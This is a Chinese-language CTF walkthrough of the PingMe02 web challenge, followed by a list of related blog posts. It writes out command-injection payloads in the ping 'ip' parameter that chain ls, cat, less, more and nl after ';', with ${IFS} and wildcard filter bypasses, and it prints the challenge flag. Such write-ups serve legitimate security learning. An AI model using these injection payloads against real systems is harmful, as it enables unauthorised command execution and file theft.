经典ctf ping题目详解 青少年CTF-WEB-PingMe02

题目环境:

根据题目名称可知

这是一道CTF-WEB方向常考的知识点:ping地址

随便ping一个地址

查看接受的数据包
?ip=0.0.0.0

有回显数据,尝试列出目录文件

堆叠命令使用';'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

使用堆叠命令

列出此目录下的文件
?ip=0.0.0.0;ls

ls是Linux系统里面的列出目录文件的命令

索性ls没有被过滤

查看隐藏文件
?ip=0.0.0.0;ls -a

space空格被过滤了

使用IFS绕过空格

IFS是Linux里面的环境变量,是其内部字段分隔符

可通过${IFS}绕过空格

IFS1-n(n>0的正整数)也可绕过空格

?ip=0.0.0.0;ls${IFS}-a

成功绕多空格

这里猜测没在根目录下,所以才没发现flag

查看当前路径
?ip=0.0.0.0;pwd

pwd是Linux系统里面查看当前目录/路径的命令

/var/www/html

可知现在是在html目录下

去看'/'根目录下是否有flag的存在

查看根目录下的文件
?ip=0.0.0.0;ls${IFS}/

发现根目录下存在flag文件

查看根目录下flag文件的内容
?ip=0.0.0.0;cat${IFS}/flag

cat是Linux系统里面最常见的查看文件内容的命令

这里可以使用其它查看文件内容的命令
less、more、nl等等

使用less查看flag内容
?ip=0.0.0.0;less${IFS}/flag

flag被过滤

可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)

代表f开头的文件

因为f开头的文件只有flag这一个文件,所以查的就是flag

?ip=0.0.0.0;less${IFS}/f*

?ip=0.0.0.0;less${IFS}/f???

使用more查看flag内容
?ip=0.0.0.0;more${IFS}/f*

?ip=0.0.0.0;more${IFS}/f???

使用nl查看flag内容
?ip=0.0.0.0;nl${IFS}/f*

?ip=0.0.0.0;nl${IFS}/f???

得到flag:
qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了

如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

相关推荐
simon_934915 小时前
受够了压缩和收费?我作为一个码农,手撸了一款无限容量、原图直出的瀑布流相册!
前端
红树林0715 小时前
渗透测试之sql注入--报错注入
数据库·sql·安全·web安全
e***877015 小时前
windows配置永久路由
android·前端·后端
代码AC不AC15 小时前
【Linux】计算机的基石:从冯·诺依曼体系结构到操作系统管理
linux·操作系统·冯诺依曼体系结构
大柏怎么被偷了15 小时前
【Linux】进程等待
linux·运维·服务器
Xudde.16 小时前
Quick2靶机渗透
笔记·学习·安全·web安全·php
Dorcas_FE16 小时前
【tips】动态el-form-item中校验的注意点
前端·javascript·vue.js
小小前端要继续努力16 小时前
前端新人怎么更快的融入工作
前端
四岁爱上了她16 小时前
input输入框焦点的获取和隐藏div,一个自定义的下拉选择
前端·javascript·vue.js
云和数据.ChenGuang16 小时前
运维面试题之oracle和mysql单表最大容量
运维·mysql·oracle